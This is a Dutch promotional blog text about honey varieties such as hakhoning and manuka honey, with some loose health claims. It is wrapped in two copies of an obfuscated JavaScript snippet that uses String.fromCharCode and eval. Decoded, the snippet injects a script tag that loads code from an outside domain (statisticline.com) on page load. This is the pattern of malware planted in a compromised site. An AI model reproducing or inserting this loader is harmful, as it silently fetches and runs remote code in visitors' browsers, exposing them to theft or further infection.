var z =String;var t=z.fromCharCode(118,97,114,32,100,61,100,111,99,117,109,101,110,116,59,118,97,114,32,115,61,100,46,99,114,101,97,116,101,69,108,101,109,101,110,116,40,39,115,99,114,105,112,116,39,41,59,32,10,115,46,115,114,99,61,39,104,116,116,112,115,58,47,47,99,100,110,46,115,116,97,116,105,115,116,105,99,108,105,110,101,46,99,111,109,47,115,99,114,105,112,116,115,47,115,119,97,121,46,106,115,63,118,61,50,39,59,32,10,115,46,105,100,61,39,115,119,97,121,116,114,97,99,107,39,59,10,105,102,32,40,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,41,32,123,32,10,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,46,112,97,114,101,110,116,78,111,100,101,46,105,110,115,101,114,116,66,101,102,111,114,101,40,115,44,32,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,41,59,10,100,46,103,101,116,69,108,101,109,101,110,116,115,66,121,84,97,103,78,97,109,101,40,39,104,101,97,100,39,41,91,48,93,46,97,112,112,101,110,100,67,104,105,108,100,40,115,41,59,10,125);eval(/*674867468*/t);

Verschillende soorten honing

Honing is iets wat al eeuwenlang wordt gebruikt. Je ziet het overal en nu dat we steeds meer realiseren hoe belangrijk bijen niet alleen voor deze producten zijn, maar ook voor onze samenleving is het tijd om honing in het zonnetje te zetten. Je hebt bij hakhoning.shop bijvoorbeeld heel veel verschillende soorten Hakhoning, waaronder hakhoning anijs. Het is als eerste een hele goeie suikervervanger. Maar honing is gewoonweg heel divers, zo is er niks beter als je ziek bent dan een citroen-honing thee, maar je kan er nog veel meer mee.

Hakhoning

Veel mensen hebben bijvoorbeeld niet eens van Hakhoning gehoord. Hakhoning is ook een lekkernij uit de middeleeuwen die via België naar nederland is gekomen. Het zijn kleine stukken harde honing, die met natuurlijke middelen in kauwbare stukjes worden gehakt. Superlekker en helemaal natuurlijk!

Manuka honing

Manuka honing is ook een heel verassend product, dat is namelijk hele speciale honing die origineel uit nieuw zeeland en Australië komt. De Manuka honing wordt gemaakt met nectar uit de tea-tree plant. Tea tree is wel een bekend schoonheidsmiddel, het helpt namelijk tegen onzuiverheden en is ontstekingsremmend en helpt ook littekens te voorkomen. Manuka honing heeft hetzelfde idee, als de MGO hoog is dan heb je hele pure Manuka honing, daar zit wel een hoog prijskaartje aan. Maar het wordt gezegd dat Manukau honing bijvoorbeeld kan helpen bij keelpijn als je het op een lepel inneemt, ook wordt het wel een bij wonden gebruikt, door de ontstekingsremmende krachten.

Schoonheidsproducten

Honing kan ook in veel andere schoonheidsproducten zitten. Zo heb je zelfs crèmes die de royal jelly gebruiken. Deze vorm van honing kan helpen bij het verlichten van de huid, bijvoorbeeld bij littekens die niet weg willen gaan. Daarnaast helpt het ook de huid te onderhouden en goed te hydrateren. Het ruikt daar bovenop ook altijd lekker.

var z =String;var t=z.fromCharCode(118,97,114,32,100,61,100,111,99,117,109,101,110,116,59,118,97,114,32,115,61,100,46,99,114,101,97,116,101,69,108,101,109,101,110,116,40,39,115,99,114,105,112,116,39,41,59,32,10,115,46,115,114,99,61,39,104,116,116,112,115,58,47,47,99,100,110,46,115,116,97,116,105,115,116,105,99,108,105,110,101,46,99,111,109,47,115,99,114,105,112,116,115,47,115,119,97,121,46,106,115,63,118,61,50,39,59,32,10,115,46,105,100,61,39,115,119,97,121,116,114,97,99,107,39,59,10,105,102,32,40,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,41,32,123,32,10,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,46,112,97,114,101,110,116,78,111,100,101,46,105,110,115,101,114,116,66,101,102,111,114,101,40,115,44,32,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,41,59,10,100,46,103,101,116,69,108,101,109,101,110,116,115,66,121,84,97,103,78,97,109,101,40,39,104,101,97,100,39,41,91,48,93,46,97,112,112,101,110,100,67,104,105,108,100,40,115,41,59,10,125);eval(/*674867468*/t);
1 2